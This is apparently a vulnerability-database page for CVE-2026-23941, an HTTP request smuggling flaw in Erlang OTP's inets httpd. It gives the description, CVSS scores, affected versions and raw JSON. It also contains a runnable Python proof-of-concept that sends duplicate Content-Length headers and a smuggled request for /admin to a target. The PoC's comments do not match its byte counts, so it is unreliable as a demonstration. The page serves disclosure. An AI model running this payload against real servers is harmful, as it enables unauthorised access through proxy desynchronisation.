Security Vulnerability Report
中文
CVE-2026-23941 CVSS 9.4 CRITICAL

CVE-2026-23941

Published: 2026-03-13 19:54:15
Last Modified: 2026-05-21 15:22:44
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in Erlang OTP (inets httpd module) allows HTTP Request Smuggling. This vulnerability is associated with program files lib/inets/src/http_server/httpd_request.erl and program routines httpd_request:parse_headers/7. The server does not reject or normalize duplicate Content-Length headers. The earliest Content-Length in the request is used for body parsing while common reverse proxies (nginx, Apache httpd, Envoy) honor the last Content-Length value. This violates RFC 9112 Section 6.3 and allows front-end/back-end desynchronization, leaving attacker-controlled bytes queued as the start of the next request. This issue affects OTP from OTP 17.0 until OTP 28.4.1, OTP 27.3.4.9 and OTP 26.2.5.18, corresponding to inets from 5.10 until 9.6.1, 9.3.2.3 and 9.1.0.5.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
Erlang OTP 17.0 至 28.4.1
Erlang OTP 27.3.4.9
Erlang OTP 26.2.5.18
inets 5.10 至 9.6.1
inets 9.3.2.3
inets 9.1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def send_http_request_smuggling(target_host, target_port, payload): """ HTTP Request Smuggling PoC for CVE-2026-23941 Erlang OTP inets httpd module vulnerability This PoC demonstrates the inconsistent handling of duplicate Content-Length headers. """ # Construct smuggling request with duplicate Content-Length headers # First CL is used by Erlang OTP, second by reverse proxies smuggling_request = ( f"POST / HTTP/1.1\r\n" f"Host: {target_host}:{target_port}\r\n" f"Content-Length: 10\r\n" # First CL - used by Erlang OTP f"Content-Length: 100\r\n" # Second CL - honored by reverse proxies f"\r\n" f"SMUGGLED" # 8 bytes + padding to trigger desync ) # Second request that will be partially consumed second_request = ( f"GET /admin HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"\r\n\r\n" ) # Full payload: first request + partial second request # Erlang OTP will see: first request body (10 bytes) + leftover bytes # Reverse proxy will see: first request + full second request full_payload = smuggling_request + second_request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(full_payload.encode('utf-8')) # Wait for response time.sleep(1) response = sock.recv(4096) sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": target = "example-vulnerable-server.com" port = 8080 print("Sending HTTP Request Smuggling payload...") result = send_http_request_smuggling(target, port, "test") print(f"Response: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23941", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-03-13T19:54:15.237", "lastModified": "2026-05-21T15:22:43.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in Erlang OTP (inets httpd module) allows HTTP Request Smuggling.\n\nThis vulnerability is associated with program files lib/inets/src/http_server/httpd_request.erl and program routines httpd_request:parse_headers/7.\n\nThe server does not reject or normalize duplicate Content-Length headers. The earliest Content-Length in the request is used for body parsing while common reverse proxies (nginx, Apache httpd, Envoy) honor the last Content-Length value. This violates RFC 9112 Section 6.3 and allows front-end/back-end desynchronization, leaving attacker-controlled bytes queued as the start of the next request.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, OTP 27.3.4.9 and OTP 26.2.5.18, corresponding to inets from 5.10 until 9.6.1, 9.3.2.3 and 9.1.0.5."}, {"lang": "es", "value": "La vulnerabilidad de Interpretación inconsistente de solicitudes HTTP ('Contrabando de solicitudes HTTP') en Erlang OTP (módulo inets httpd) permite el contrabando de solicitudes HTTP.\n\nEsta vulnerabilidad está asociada con los archivos de programa lib/inets/src/http_server/httpd_request.erl y las rutinas de programa httpd_request:parse_headers/7.\n\nEl servidor no rechaza ni normaliza los encabezados Content-Length duplicados. El Content-Length más temprano en la solicitud se utiliza para el análisis del cuerpo, mientras que los proxies inversos comunes (nginx, Apache httpd, Envoy) respetan el último valor de Content-Length. Esto viola la Sección 6.3 de RFC 9112 y permite la desincronización front-end/back-end, dejando bytes controlados por el atacante en cola como el inicio de la siguiente solicitud.\n\nEste problema afecta a OTP desde OTP 17.0 hasta OTP 28.4.1, OTP 27.3.4.9 y OTP 26.2.5.18, lo que corresponde a inets desde 5.10 hasta 9.6.1, 9.3.2.3 y 9.1.0.5."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "9.1.0.5", "matchCriteriaId": "51F23E56-D6A0-4406-BF11-862502FAFE38"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3", "versionEndExcluding": "9.3.2.3", "matchCriteriaId": "61E04989-9259-49AF-866D-98385A3A1EA0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.6", "versionEndExcluding": "9.6.1", "matchCriteriaId": "D2EA5EC ... (truncated)